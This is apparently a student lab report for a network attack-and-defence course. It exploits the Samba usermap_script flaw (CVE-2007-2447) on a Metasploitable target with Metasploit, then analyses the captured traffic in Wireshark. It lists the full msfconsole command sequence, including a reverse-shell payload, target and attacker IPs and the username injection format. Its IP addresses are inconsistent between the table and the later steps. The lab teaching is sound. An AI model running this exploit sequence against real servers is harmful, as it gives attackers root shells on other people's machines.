20252905 2025-2026-2 《网络攻防实践》第七周作业
20252905 2025-2026-2 《网络攻防实践》第七周作业
实践内容
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
1.知识点梳理与总结
| 步骤 | 命令/操作 | 说明 |
|---|---|---|
| ①启动MSF | msfconsole | 启动Metasploit控制台界面 |
| ②搜索模块 | search usermap_script | 查找Samba漏洞利用模块 |
| ③使用模块 | use exploit/multi/samba/usermap_script | 加载渗透攻击模块 |
| ④查看配置 | show options | 显示需要设置的参数 |
| ⑤查看载荷 | show payloads | 显示可用的攻击载荷列表 |
| ⑥设置载荷 | set PAYLOAD cmd/unix/reverse | 设置反向连接Shell |
| ⑦设置目标IP | set RHOST 192.168.200.124 | 靶机IP地址 |
| ⑧设置本机IP | set LHOST 192.168.200.4 | 攻击机IP地址 |
| ⑨执行攻击 | exploit 或 run | 发起渗透攻击 |
| ⑩获取Shell | 成功后会显示 Command Shell Session | 获得远程控制权 |
| 知识点 | 内容 |
|---|---|
| 漏洞名称 | Samba "username map script" 命令执行漏洞 |
| CVE编号 | CVE-2007-2447 |
| 影响版本 | Samba 3.0.20 ~ 3.0.25rc3 |
| 漏洞类型 | 命令注入(远程代码执行) |
| 利用条件 | 启用非默认配置 username map script 选项 |
| 攻击向量 | 通过SMB协议,在用户名字段注入恶意命令 |
| 注入格式 | username = "/=\nohup <恶意命令>" |
| 无需认证 | 漏洞在身份验证前触发 |
| 原理简述 | Samba将用户名传递给外部脚本时未过滤特殊字符,导致Shell命令注入 |
2.实验过程
任务0:准备工作
(1)查看Metasploitable的IP地址为192.168.200.123

(2)查看Kali 的IP地址为192.168.200.3

(3)检查kali能否ping通

任务1:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限
(1)启动Metasploit软件,使用msfconsole。这是要先启动metasploit的交互式控制台,渗透操作的前置步骤。

(2)使用exploit:exploit/multi/samba/usermap_script渗透攻击模块,输入命令use exploit/multi/samba/usermap_script和show payloads
加载了针对usermap_script漏洞的渗透攻击模块,并观察哪些载荷可以进行使用。

(3)选择攻击PAYLOAD为远程shell,输入set payload cmd/unix/reverse。这是一个反向shell操作,强制目标主机主动连接攻击者机器,可以绕过防火墙控制

(4)设置渗透攻击参数(RHOST,LHOST,TARGET等),将攻击机IP设置为192.168.200.123。分别设定攻击机和靶机地址,用于接受反向连接。

(5)开始执行渗透攻击,输入exploit,开始正式执行攻击,触发目标漏洞

(6)查看是否正确得到远程Shell,并查看获得的权限,输入whoami,查看当前权限

任务2:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。(2已完成)
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
(1)在实验1的过程中使用wireshark进行抓包,结果如图所示,在图中可查看到攻击者IP为192.168.200.3,靶机IP为192.168.200.123,使用了SMB协议的漏洞,完成了握手流程。

(2)通过找到对应端口追踪tcp流,发现了刚刚的攻击行为

(3)分析靶机回复信息,找到了返回的root,可以输入命令tcp contains "root"

3.学习中遇到的问题及解决
-问题1:开始执行攻击后,长时间没有得到应有的反应

解决方案:发现是没有设定反向shell过程中靶机的地址,导致长时间没反应。
-问题2:在寻找靶机和攻击机的whoami,root信息的时候,奇怪为什么直接筛选string信息找不到目标值
解决办法:直接搜索的内容是wireshark解析后的数据包解码字段,他们可能封装在不同的协议中,并不在直接索引的范围内;但是
如果追踪TCP流信息,即为将所有字节信息按传输顺序重组为完整数据流,这是更加清晰的可视化呈现效果。
3.学习感悟、思考等
本次实验通过Metasploit框架对Metasploitable2靶机中的Samba服务漏洞(CVE-2007-2447)进行了渗透攻击,成功获取了目标主机的远程Shell访问权限。实验过程完整展示了从信息探测、漏洞利用到权限获取的标准化渗透测试流程。核心操作包括:使用search usermap_script定位漏洞模块、配置RHOST和LHOST参数、选择cmd/unix/reverse反向连接载荷、执行exploit发起攻击。最终通过whoami命令确认获得了root权限,验证了漏洞利用的有效性。从防御视角看,该实验揭示了Samba服务配置不当(启用username map script)带来的严重安全风险,强调了服务最小化原则、及时补丁更新以及网络流量监控的重要性。通过Wireshark抓包分析,能够清晰定位攻击者的IP地址、攻击时间、注入的Shellcode特征(如nohup、反引号命令),以及成功后的命令行操作记录,为入侵检测规则的编写提供了依据。
参考资料
教学视频
浙公网安备 33010602011771号